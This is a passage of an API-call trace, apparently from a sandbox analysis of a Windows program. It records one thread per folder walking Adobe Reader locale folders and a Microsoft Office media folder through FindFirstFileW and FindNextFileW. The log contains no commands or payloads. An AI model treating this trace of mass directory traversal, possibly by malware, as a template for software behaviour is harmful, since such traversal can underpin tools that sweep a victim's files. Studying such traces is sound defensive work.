Flags=0x8, Size=0x250) returned 0x430608 [0066.502] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x430608) Thread: id = 1557 os_tid = 0x19a4 [0066.503] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec80b0 [0066.503] wcscpy (in: _Dest=0x5ec80b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0066.503] wcscat (in: _Dest=0x5ec80b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0066.503] wcscat (in: _Dest=0x5ec80b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*" [0066.503] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e6c0 [0066.503] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x42e6c0) Thread: id = 1558 os_tid = 0x19a8 [0066.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8138 [0066.504] wcscpy (in: _Dest=0x5ec8138, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0066.504] wcscat (in: _Dest=0x5ec8138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0066.504] wcscat (in: _Dest=0x5ec8138, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*" [0066.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42d850 [0066.504] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x42d850) Thread: id = 1559 os_tid = 0x19ac [0066.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec81c0 [0066.504] wcscpy (in: _Dest=0x5ec81c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" [0066.504] wcscat (in: _Dest=0x5ec81c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\" [0066.504] wcscat (in: _Dest=0x5ec81c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*" [0066.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dd20 [0066.504] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x42dd20) Thread: id = 1560 os_tid = 0x19b0 [0066.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8248 [0066.505] wcscpy (in: _Dest=0x5ec8248, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" [0066.505] wcscat (in: _Dest=0x5ec8248, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\" [0066.505] wcscat (in: _Dest=0x5ec8248, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*" [0066.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0066.505] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x42e928) Thread: id = 1561 os_tid = 0x19b4 [0066.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec82d0 [0066.505] wcscpy (in: _Dest=0x5ec82d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" [0066.505] wcscat (in: _Dest=0x5ec82d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\" [0066.505] wcscat (in: _Dest=0x5ec82d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*" [0066.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05490 [0066.505] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x12e05490) Thread: id = 1562 os_tid = 0x19b8 [0066.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8358 [0066.506] wcscpy (in: _Dest=0x5ec8358, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" [0066.506] wcscat (in: _Dest=0x5ec8358, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\" [0066.506] wcscat (in: _Dest=0x5ec8358, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*" [0066.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e056f8 [0066.506] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x12e056f8) Thread: id = 1563 os_tid = 0x19bc [0066.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec83e0 [0066.507] wcscpy (in: _Dest=0x5ec83e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" [0066.507] wcscat (in: _Dest=0x5ec83e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\" [0066.507] wcscat (in: _Dest=0x5ec83e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*" [0066.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04fc0 [0066.507] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x12e04fc0) Thread: id = 1564 os_tid = 0x19c0 [0066.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8468 [0066.513] wcscpy (in: _Dest=0x5ec8468, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" [0066.513] wcscat (in: _Dest=0x5ec8468, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\" [0066.513] wcscat (in: _Dest=0x5ec8468, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*" [0066.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e07640 [0066.513] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x12e07640) Thread: id = 1565 os_tid = 0x19c4 [0066.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec84f0 [0066.522] wcscpy (in: _Dest=0x5ec84f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" [0066.522] wcscat (in: _Dest=0x5ec84f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\" [0066.522] wcscat (in: _Dest=0x5ec84f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*" [0066.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964dcb0 [0066.526] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x964dcb0) Thread: id = 1566 os_tid = 0x19c8 [0066.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8578 [0066.528] wcscpy (in: _Dest=0x5ec8578, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" [0066.528] wcscat (in: _Dest=0x5ec8578, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\" [0066.528] wcscat (in: _Dest=0x5ec8578, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*" [0066.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964df18 [0066.529] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x964df18) Thread: id = 1567 os_tid = 0x19cc [0066.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8600 [0066.529] wcscpy (in: _Dest=0x5ec8600, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" [0066.529] wcscat (in: _Dest=0x5ec8600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\" [0066.530] wcscat (in: _Dest=0x5ec8600, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*" [0066.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964e180 [0066.530] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x964e180) Thread: id = 1568 os_tid = 0x19d0 [0066.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8688 [0066.530] wcscpy (in: _Dest=0x5ec8688, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" [0066.530] wcscat (in: _Dest=0x5ec8688, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\" [0066.530] wcscat (in: _Dest=0x5ec8688, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*" [0066.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964e3e8 [0066.530] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x964e3e8) Thread: id = 1569 os_tid = 0x19d4 [0066.538] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8710 [0066.538] wcscpy (in: _Dest=0x5ec8710, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" [0066.538] wcscat (in: _Dest=0x5ec8710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\" [0066.538] wcscat (in: _Dest=0x5ec8710, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*" [0066.538] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964e650 [0066.538] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x964e650) Thread: id = 1570 os_tid = 0x19d8 [0066.539] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8798 [0066.539] wcscpy (in: _Dest=0x5ec8798, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" [0066.539] wcscat (in: _Dest=0x5ec8798, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\" [0066.539] wcscat (in: _Dest=0x5ec8798, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*" [0066.539] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964e8b8 [0066.539] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x964e8b8) Thread: id = 1571 os_tid = 0x19dc [0066.539] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8820 [0066.540] wcscpy (in: _Dest=0x5ec8820, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" [0066.540] wcscat (in: _Dest=0x5ec8820, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\" [0066.540] wcscat (in: _Dest=0x5ec8820, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*" [0066.540] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964eb20 [0066.540] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x964eb20) Thread: id = 1572 os_tid = 0x19e0 [0066.540] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9900 [0066.540] wcscpy (in: _Dest=0x96f9900, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" [0066.540] wcscat (in: _Dest=0x96f9900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\" [0066.540] wcscat (in: _Dest=0x96f9900, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*" [0066.540] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964ed88 [0066.540] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x964ed88) Thread: id = 1573 os_tid = 0x19e4 [0066.541] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9108 [0066.541] wcscpy (in: _Dest=0x96f9108, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" [0066.541] wcscat (in: _Dest=0x96f9108, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\" [0066.541] wcscat (in: _Dest=0x96f9108, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*" [0066.541] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964eff0 [0066.541] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x964eff0) Thread: id = 1574 os_tid = 0x19e8 [0066.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9190 [0066.543] wcscpy (in: _Dest=0x96f9190, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" [0066.543] wcscat (in: _Dest=0x96f9190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\" [0066.543] wcscat (in: _Dest=0x96f9190, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*" [0066.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964f258 [0066.543] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x964f258) Thread: id = 1575 os_tid = 0x19ec [0066.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9218 [0066.544] wcscpy (in: _Dest=0x96f9218, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" [0066.544] wcscat (in: _Dest=0x96f9218, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\" [0066.544] wcscat (in: _Dest=0x96f9218, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*" [0066.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964f4c0 [0066.544] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x964f4c0) Thread: id = 1576 os_tid = 0x19f0 [0066.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x19805618 [0066.775] wcscpy (in: _Dest=0x19805618, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" [0066.775] wcscat (in: _Dest=0x19805618, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\" [0066.775] wcscat (in: _Dest=0x19805618, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*" [0066.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964f728 [0066.775] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x964f728) Thread: id = 1577 os_tid = 0x19f4 [0066.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45a58 [0066.776] wcscpy (in: _Dest=0x5e45a58, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0066.776] wcscat (in: _Dest=0x5e45a58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0066.776] wcscat (in: _Dest=0x5e45a58, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*" [0066.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x964f990 [0066.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x964f990 | out: lpFindFileData=0x964f990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6560 [0066.776] wcscmp (_String1=".", _String2=".") returned 0 [0066.776] FindNextFileW (in: hFindFile=0x4a6560, lpFindFileData=0x964f990 | out: lpFindFileData=0x964f990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.776] wcscmp (_String1="..", _String2=".") returned 1 [0066.776] wcscmp (_String1="..", _String2="..") returned 0 [0066.776] FindNextFileW (in: hFindFile=0x4a6560, lpFindFileData=0x964f990 | out: lpFindFileData=0x964f990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, 